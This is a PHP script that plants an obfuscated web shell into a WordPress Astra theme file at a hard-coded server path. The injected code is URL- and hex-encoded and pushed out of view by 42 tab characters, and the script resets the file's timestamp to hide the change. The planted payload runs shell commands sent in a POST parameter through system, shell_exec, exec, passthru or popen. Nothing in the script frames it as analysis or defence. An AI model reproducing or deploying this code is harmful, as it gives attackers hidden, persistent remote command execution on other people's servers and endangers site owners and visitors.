<?php  function pb_leading_namespace_or_declare($content) {     $p = 0;     $len = strlen($content);     if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {         $p = 3;     }     while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {         $p++;     }     if (strncmp($content, '<?php', 5) === 0) {         $p += 5;     } elseif ($p + 1 < $len && $content[$p] === '<' && $content[$p + 1] === '?'         && strncmp($content, '<?xml', 5) !== 0 && strncmp($content, '<?=', 3) !== 0) {         $p += 2;     } else {         return false;     }     while ($p < $len) {         while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {             $p++;         }         if ($p >= $len) {             break;         }         if ($p + 1 < $len && $content[$p] === '/' && $content[$p + 1] === '/') {             $nl = strpos($content, "\n", $p);             $p = ($nl === false) ? $len : $nl + 1;             continue;         }         if ($p < $len && $content[$p] === '#') {             $nl = strpos($content, "\n", $p);             $p = ($nl === false) ? $len : $nl + 1;             continue;         }         if ($p + 1 < $len && $content[$p] === '/' && $content[$p + 1] === '*') {             $end = strpos($content, '*/', $p + 2);             $p = ($end === false) ? $len : $end + 2;             continue;         }         return (bool) preg_match('/^(namespace|declare)\b/i', substr($content, $p));     }     return false; }  $path = '/home/cocc/public_htmlwp-content/themes/astra/inc/builder/type/footer/primary-footer/dynamic-css/dynamic.css.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('%24val1%20%3D%20%276c6%27%3B%24val2%20%3D%20%27865%27%3B%24val3%20%3D%20%27706%27%3B%24val4%20%3D%20%27173%27%3B%24val5%20%3D%20%27468%27%3B%24val6%20%3D%20%27f70%27%3B%24val7%20%3D%20%27656%27%3B%24val8%20%3D%20%27e%27%3B%24val9%20%3D%20%27737%27%3B%24val10%20%3D%20%27472%27%3B%24val11%20%3D%20%2716d%27%3B%24val12%20%3D%20%275f6%27%3B%24val13%20%3D%20%27765%27%3B%24val14%20%3D%20%27f63%27%3B%24val15%20%3D%20%27e74%27%3B%24val16%20%3D%20%2773%27%3B%24val17%20%3D%20%2736c%27%3B%24val18%20%3D%20%27687%27%3B%24val19%20%3D%20%27164%27%3B%24val20%20%3D%20%2796e%27%3B%24auth_exception_handler1%20%3D%20pack%28%22H%2A%22%2C%20%27737%27%20.%20%27973%27%20.%20%27746%27%20.%20%2756d%27%29%3B%24auth_exception_handler2%20%3D%20pack%28%22H%2A%22%2C%20%27736%27%20.%20%27865%27%20.%20%24val1%20.%20%27c5f%27%20.%20%27657%27%20.%20%24val2%20.%20%2763%27%29%3B%24auth_exception_handler3%20%3D%20pack%28%22H%2A%22%2C%20%27657%27%20.%20%27865%27%20.%20%2763%27%29%3B%24auth_exception_handler4%20%3D%20pack%28%22H%2A%22%2C%20%24val3%20.%20%24val4%20.%20%27737%27%20.%20%24val5%20.%20%27727%27%20.%20%275%27%29%3B%24auth_exception_handler5%20%3D%20pack%28%22H%2A%22%2C%20%24val3%20.%20%24val6%20.%20%24val7%20.%20%24val8%29%3B%24auth_exception_handler6%20%3D%20pack%28%22H%2A%22%2C%20%24val9%20.%20%24val10%20.%20%27656%27%20.%20%24val11%20.%20%24val12%20.%20%24val13%20.%20%27745%27%20.%20%24val14%20.%20%276f6%27%20.%20%27e74%27%20.%20%27656%27%20.%20%24val15%20.%20%24val16%29%3B%24auth_exception_handler7%20%3D%20pack%28%22H%2A%22%2C%20%24val3%20.%20%24val17%20.%20%276f7%27%20.%20%27365%27%29%3B%24right_pad_string%20%3D%20pack%28%22H%2A%22%2C%20%27726%27%20.%20%27967%27%20.%20%24val18%20.%20%2745f%27%20.%20%27706%27%20.%20%24val19%20.%20%275f7%27%20.%20%27374%27%20.%20%27726%27%20.%20%24val20%20.%20%2767%27%29%3Bif%28isset%28%24_POST%5B%24right_pad_string%5D%29%29%7B%24right_pad_string%3Dpack%28%22H%2A%22%2C%24_POST%5B%24right_pad_string%5D%29%3Bif%28function_exists%28%24auth_exception_handler1%29%29%7B%24auth_exception_handler1%28%24right_pad_string%29%3B%7Delseif%28function_exists%28%24auth_exception_handler2%29%29%7Bprint%20%24auth_exception_handler2%28%24right_pad_string%29%3B%7Delseif%28function_exists%28%24auth_exception_handler3%29%29%7B%24auth_exception_handler3%28%24right_pad_string%2C%24value_factor%29%3Bprint%20join%28%22%5Cn%22%2C%24value_factor%29%3B%7Delseif%28function_exists%28%24auth_exception_handler4%29%29%7B%24auth_exception_handler4%28%24right_pad_string%29%3B%7Delseif%28function_exists%28%24auth_exception_handler5%29%26%26function_exists%28%24auth_exception_handler6%29%26%26function_exists%28%24auth_exception_handler7%29%29%7B%24ent_ptr%3D%24auth_exception_handler5%28%24right_pad_string%2C%22r%22%29%3Bif%28%24ent_ptr%29%7B%24dchunk_object%3D%24auth_exception_handler6%28%24ent_ptr%29%3B%24auth_exception_handler7%28%24ent_ptr%29%3Bprint%20%24dchunk_object%3B%7D%7Dexit%3B%7D'); if (strlen($content) < 32) {     die('!failed!'); } if (pb_leading_namespace_or_declare($content)) {     die('!failed!'); } if (strstr($content, $new_code)) {     die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {     $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) {     $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) {     die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     $len = strlen($start);     if ($len > strlen($body) || substr($body, 0, $len) !== $start) {         continue;     }     if ($start === '<?') {         if (strncmp($body, '<?xml', 5) === 0) {             continue;         }         if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') {             continue;         }     }     $rest = substr($body, $len);     $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest;     $tmp = @tempnam(dirname($path), 't');     if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) {          @touch($path, $ft + 10);         $check = (string) @file_get_contents($path);         if (strstr($check, $new_code)) {             die('!success!');         }     }     if ($tmp !== false && is_file($tmp)) {         @unlink($tmp);     } } die('!failed!'); 